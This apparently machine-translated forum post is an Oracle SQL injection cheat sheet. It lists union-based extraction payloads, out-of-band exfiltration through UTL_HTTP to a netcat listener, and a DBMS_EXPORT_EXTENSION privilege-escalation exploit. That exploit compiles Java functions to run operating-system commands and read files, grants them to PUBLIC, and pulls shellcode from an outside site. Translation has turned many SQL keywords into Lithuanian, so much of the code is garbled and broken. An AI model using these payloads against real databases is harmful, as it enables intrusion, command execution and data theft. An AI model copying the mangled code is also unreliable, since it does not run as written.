Šį pranešimą paskutinį kartą redagavo test 2015-1-24 13:01
Komentaras: -- Kelių sakinių vykdymas nepalaikomas, o sujungtos užklausos palaikomos Duomenų bazių pavadinimai, lentelių pavadinimai ir stulpelių pavadinimai rašomi didžiosiomis raidėmis.
ilgis (laukas) ascii(substr(laukas, N, 1))
ir (pasirinkite count(*) iš dual)>0 -- Nustatykite, ar tai orakulas, ar ne
Užsakymas pagal n--
ir 1=2 sąjunga pasirenka nulį, nulį,.....,nulį iš dual-- pakeiskite nulį į N arba 'N'
ir 1=2 union select null, (sql statement) ,.....,null from dual -- change to (sql statement) at 'N'
ir (pasirinkite count(*) iš all_objects, kur object_name='UTL_HTTP')>0 -- Nustatykite, ar UTL_HTTP palaikomas (eksporto IP žinomas)
ir UTL_HTTP.request('http://LocalIP:port'|| (SQL pareiškimas)) =1-- Nuotoliniu būdu siųsti pranešimus į vietinį, vietinį klausymąsi nc -vv -l -p 1234
SQL teiginiai Pasirinkite reklamjuostę iš sys.v_$version kur rownum=1, kad užklaustumėte orakulo versiją pasirinkite narį iš v$logfile kur rownum=1 Užklausti žurnalo failo kelio (Windows arba Linux) pasirinkite utl_inaddr.get_host_address iš dvigubo, kad užklaustumėte duomenų bazės klausymosi IP Pasirinkite instance_name iš v$instance, kad užklaustumėte sid pasirinkti pavadinimą iš v$database Užklausti dabartinio duomenų bazės pavadinimo Pasirinkite sys_context ("userenv", "current_user") iš dviejų užklausų duomenų bazės vartotojų Pasirinkite * iš session_roles, kur rownum=1, jei norite užklausti dabartinių vartotojo teisių Pasirinkite * iš session_roles, kur rownum=1 [ir role<>'first permission name']
Pasirinkite table_name iš user_tables, kur rownum=1 Pirmasis dabartinės duomenų bazės lentelės segmentas Pasirinkite table_name||','|| tablespace_name iš user_tables kur rownum=1 Pirma lentelės segmentas, duomenų bazė (patikrinimui tai gali būti ne v$database) Pasirinkite table_name iš user_tables, kur rownum=1 ir table_name<>'first table segment' Antrasis dabartinės duomenų bazės lentelės segmentas
Pasirinkite column_name iš user_tab_columns, kur rownum=1 ir table_name='Lentelės segmentas' Pirmasis laukas, atitinkantis lentelės pavadinimą Pasirinkite column_name iš user_tab_columns, kur rownum=1 ir table_name='Lentelės segmentas' ir column_name<>'Pirmas laukas' Antrasis laukas, atitinkantis lentelės pavadinimą
Pasirinkti lauką iš lentelės segmento, kuriame rownum=1 pažeidžia pirmos eilutės turinį Pasirinkti lauką iš lentelės segmento, kuriame rownum=1 ir lauko <> 'pirmos eilutės turinys' rodo antrosios eilutės turinį
Kryžminė biblioteka Pasirinkti savininką iš all_tables, kur rownum=1 užklausia pirmojo duomenų bazės pavadinimo Pasirinkite savininką iš all_tables, kur rownum=1 ir savininkas<> 'Pirmasis duomenų bazės pavadinimas', kad užklaustumėte antrojo duomenų bazės pavadinimo
Pasirinkite table_name iš all_tables, kur rownum=1 ir owner='database name' Užklausti atitinkamos duomenų bazės pirmosios lentelės pavadinimo Pasirinkite table_name iš all_tables, kur rownum=1 ir owner='database name' ir table_name<>'first table name', kad užklaustumėte atitinkamos duomenų bazės antrosios lentelės pavadinimo
Pasirinkite column_name iš all_tab_columns, kur rownum=1 ir owner='database name' ir table_name='table segment' Pirmasis laukas, atitinkantis lentelės pavadinimą Pasirinkite column_name iš all_tab_columns, kur rownum=1 ir savinink='duomenų bazės pavadinimas' ir table_name='lentelės segmentas' ir column_name<>'pirmasis laukas' Antrasis laukas, atitinkantis lentelės pavadinimą
Pasirinkite lauką iš duomenų bazės. Lentelės segmentas, kuriame rownum=1 pažeidžia pirmosios eilutės turinį Pasirinkite lauką iš duomenų bazės. Lentelės segmentas, kuriame rownum=1 ir laukas <> "Pirmos eilutės turinys" pažeidžia antros eilutės turinį
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); kelių teiginių PABAIGA; --','SYS',0,'1',0)--
Jei "pabėgo", vartojamas chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(CHR(70)|| CHR(79)|| CHR(79),CHR(66)|| CHR(65)|| chr(82), CHR(68)|| CHR(66)|| CHR(77)|| CHR(83)|| CHR(95)|| CHR(79)|| CHR(85)|| CHR(84)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(34)|| CHR(46)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(40)|| CHR(58)|| CHR(80)|| CHR(49)|| CHR(41)|| CHR(59)|| Keli pareiškimai || CHR(69)|| CHR(78)|| CHR(68)|| CHR(59)|| CHR(45)|| chr(45),chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--
Jei keli sakiniai yra per ilgi, galite parašyti teiginį į svetainės failą ir naudoti utl_http.request, kad jį gautumėte.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Sukurkite JAVA paketą SecTest runCMD naudojamas sistemos komandoms vykdyti ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''sukurti arba pakeisti ir kompiliuoti java šaltinį, pavadintą "SecTest" kaip importo java.io.*; viešoji klasė SecTest išplečia objektą{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Eilutė stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); grąžinti str; }catch(Išimtis e){return e.toString(); }}}''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
readFile naudojamas failui skaityti ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''sukurti arba pakeisti ir kompiliuoti java šaltinį, pavadintą "SecTest" kaip importo java.io.*; viešoji klasė SecTest išplečia objektą{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(failo pavadinimas)); Eilutė stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); grąžinti str; }catch(Išimtis e){return e.toString(); }}}''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
Suteikti "Java" teises ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''pradėti dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''vykdyti''''''''); pabaiga; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
Funkcijos kūrimas Funkcija SecRunCMD ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''sukurti arba pakeisti funkciją SecRunCMD(p_cmd varchar2) grąžinti varchar2 kaip kalbą java pavadinimas''''''''SecTest.runCMD(java.lang.String) grąžinti eilutę'''''''' ; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
Funkcija "SecReadFile" ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''sukurti arba pakeisti funkciją SecReadFile(failo pavadinimas varchar2) grąžinti varchar2 kaip kalbą java pavadinimas''''''''SecTest.readFile(java.lang.String) grąžinti eilutę' '''''''; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
Suteikti teisę vykdyti viešąją funkciją SecRunCMD suteikiami leidimai ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''suteikti viską SecRunCMD visuomenei''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
SecReadFile ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''suteikti visuomenei viską, kas yra SecReadFile'''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
Aptinka, ar funkcija sėkmingai sukurta ir (pasirinkite count(*) iš all_objects, kur object_name='SECRUNCMD')>0-- ir (pasirinkite count(*) iš all_objects, kur object_name='SECREADFILE')>0--
Vykdykite komandą ir "1" <> (pasirinkite sys. SecRunCMD ('Vykdyti komandą') iš dvigubo) - ir "1" <> (pasirinkite sys. SecReadFile('failo fizinis adresas') iš dvigubo)-- arba ir 1=2 sąjunga pasirinkite null,...,sys. SecRunCMD('vykdyti komandą'),...,null iš dual-- ir 1=2 sąjunga pasirinkite null,...,sys. SecReadFile('failo fizinis adresas'),...,null iš dvigubo-- arba ir '1'<>(pasirinkite UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Vykdyti komandą'),'',' '),'\n',' ')) iš dual)-- ir '1'<>(pasirinkite UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Failo fizinis adresas'),','',','\n',' ')) iš dual)--
Ištrynimo funkcija ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''lašo funkcija SecRunCMD''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)-- ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''drop funkcija SecReadFile''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)-- |